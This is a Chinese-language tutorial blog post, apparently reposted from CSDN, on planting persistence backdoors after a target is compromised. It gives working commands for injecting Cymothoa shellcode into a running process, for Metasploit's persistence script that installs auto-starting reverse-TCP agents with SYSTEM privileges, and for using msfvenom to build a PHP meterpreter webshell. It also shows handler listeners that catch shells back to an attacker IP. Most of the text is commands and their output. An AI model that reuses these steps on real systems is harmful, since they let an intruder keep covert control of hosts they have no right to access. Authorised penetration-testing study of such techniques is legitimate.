后渗透之各种维持权限的后门原理即利用

前言

在拿到最高权限后,我们就应该建立后门(backdoor)了,以维持对目标主机的控制权,这样一来,即使我们所利用的漏洞被补丁程序修复了,还可以通过后门继续控制目标系统。
后门简单来说就是一个留在目标主机上的系统,它可以使攻击者随时连接到目标主机,大多数情况下,后门是一个运行在目标主机上的隐藏进程,它允许一个普通的、未授权的用户控制计算机。
在这里插入图片描述

操作系统后门

后门泛指绕过目标系统安全控制体系的正规用户认证过程,从而维持我们对目标系统的控制权,以及隐匿控制行为的方法。Meterpreter提供 了Persistence等后渗透攻击模块,通过在目标机上安装自启动、永久服务等方式,来长久地控制目标机。在这里插入图片描述

操作系统之Cymothoa后门

Cymothoa是一款可以将ShellCode注入现有进程 (即插进程)的后门工具。借助这种注入手段,它能够把ShellCode伪装成常规程序。它所注入的后门]程序应当能够与被注入的程序(进程)共存,以避免被管理和维护人员怀疑。将ShellCode注入其他进程,还有另外一项优势:即使目标系统的安全防护工具能够监视可执行程序的完整性,只要它不检测内存,就发现不了(插进程)后门程序的进程。
值得一提的是该后门注入系统的某一进程, 反弹的是该进程相应的权限(并不需要root)。当然,因为后门是以运行中的程序为宿主,所以只要进程关闭或者目标主机重启,后门就会停止运行。
首先可查看程序的PID (在Linux系统下输入ps -aux命令,在Windows系统下输入tasklist命令)
在这里插入图片描述
在这里插入图片描述
在使用Cymothoa时,需通过-p选项指定目标进程的PID,并通过-S选项指定ShellCode的编号, ShellCode的编号列表如下:

root@kali:~# cymothoa -S

0 - bind /bin/sh to the provided port (requires -y)
1 - bind /bin/sh + fork() to the provided port (requires -y) - izik <izik@tty64.org>
2 - bind /bin/sh to tcp port with password authentication (requires -y -o)
3 - /bin/sh connect back (requires -x, -y)
4 - tcp socket proxy (requires -x -y -r) - Russell Sanford (xort@tty64.org)
5 - script execution (see the payload), creates a tmp file you must remove
6 - forks an HTTP Server on port tcp/8800 - http://xenomuta.tuxfamily.org/
7 - serial port busybox binding - phar@stonedcoder.org mdavis@ioactive.com
8 - forkbomb (just for fun...) - Kris Katterjohn
9 - open cd-rom loop (follows /dev/cdrom symlink) - izik@tty64.org
10 - audio (knock knock knock) via /dev/dsp - Cody Tubbs (pigspigs@yahoo.com)
11 - POC alarm() scheduled shellcode
12 - POC setitimer() scheduled shellcode
13 - alarm() backdoor (requires -j -y) bind port, fork on accept
14 - setitimer() tail follow (requires -k -x -y) send data via upd

成功渗透目标主机后,就可以把Cymothoa的可执行程序复制到目标主机上,生成后门程序。这里选择PID为982的进程为宿主进程,选用第一类ShellCode,指定Payload服务端口为4444,具体命令如下:

cymothoa -p 982 -S 1 -y 4444

然后可以利用nc来连接后门

nc -nv IP 端口号

操作系统之persistence后门

一款使用安装自启动方式的持久性后门程序,可以利用它创建注册和文件。
首先run persistence -h查看用到的所有命令选项

meterpreter > run persistence -h

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:

    -A        Automatically start a matching exploit/multi/handler to connect to the agent
    -L <opt>  Location in target host to write payload to, if none %TEMP% will be used.
    -P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.
    -S        Automatically start the agent on boot as a service (with SYSTEM privileges)
    -T <opt>  Alternate executable template to use
    -U        Automatically start the agent when the User logs on
    -X        Automatically start the agent when the system boots
    -h        This help menu
    -i <opt>  The interval in seconds between each connection attempt
    -p <opt>  The port on which the system running Metasploit is listening
    -r <opt>  The IP of the system running Metasploit listening for the connect back

命令的详解

A:自动启动Payload程序
S:系统启动时自动加载
U:用户登录时自动启动
X:开机时自动加载
i:回连的时间间隔
P:监听反向连接端口号
r:目标机器IP地址

接着输入命令创建一个持久性后门

meterpreter > run persistence -A -S -U -i 60 -P 4321 -r 192.168.43.86

然后输入sessions命令查看是否成功获得了会话

web后门

web后门泛指webshell其实就是一段代码,由于这些代码允许在服务端,所以可以进行一些危险的操作获得敏感的技术信息或者通过渗透操作提权,从而获得了服务器的控制权。
web后门能给攻击者提供非常多的功能(命令执行、浏览文件、辅助提权、执行sql语句、反弹shell等)

windows:中国菜刀、蚁剑等
linux:weevely

web之meterpreter后门

在metasploit中,有一个名为php meterpreter的payload利用这个模块可创建具有meterpreter功能的php webshell步骤如下:

使用msfvenom创建一个webshell.php
上传webshell.php到服务器
运行metasploit multi-handler开始监听
访问webshell.php页面
获得反弹的metasploit shell

首先第一步创建

-p参数用于设置payload
-f参数用于设置输出文件格式
root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.113 -f raw >webshell.php

[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1115 bytes

然后将生成的webshell.php上传到目标机的服务器上,打开webshell的地址,接着启动msfconsole


msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.43.86
lhost => 192.168.43.86
msf5 exploit(multi/handler) > run

打开webshell的地址,回到msf发现已经反弹到了shell

web之aspx meterpreter后门

利用metasploit下名为shell_reverse_tcp的payload可创建具有meterpreter功能的各个版本的shellcode步骤如下:

show payloads
use windows/shell_reverse_tcp
info
set lhost ip
set lport 端口号
save

接着输入generate -h命令查看帮助

msf5 payload(windows/shell_reverse_tcp) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

    -E        Force encoding
    -O <opt>  Deprecated: alias for the '-o' option
    -P <opt>  Total desired payload size, auto-produce approproate NOPsled length
    -S <opt>  The new section name to use when generating (large) Windows binaries
    -b <opt>  The list of characters to avoid example: '\x00\xff'
    -e <opt>  The encoder to use
    -f <opt>  Output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
    -h        Show this message
    -i <opt>  The number of times to encode the payload
    -k        Preserve the template behavior and inject the payload as a new thread
    -n <opt>  Prepend a nopsled of [length] size on to the payload
    -o <opt>  The output file name (otherwise stdout)
    -p <opt>  The platform of the payload
    -s <opt>  NOP sled length.
    -x <opt>  Specify a custom executable file to use as a template

设置监听,等待点击就行了


msf5 payload(windows/shell_reverse_tcp) > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.43.86
lhost => 192.168.43.86
msf5 exploit(multi/handler) > set lport 5432
lport => 5432
msf5 exploit(multi/handler) > run

[-] Handler failed to bind to 192.168.43.86:5432:-  -
[*] Started reverse TCP handler on 0.0.0.0:5432 

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/p_utao/article/details/108559672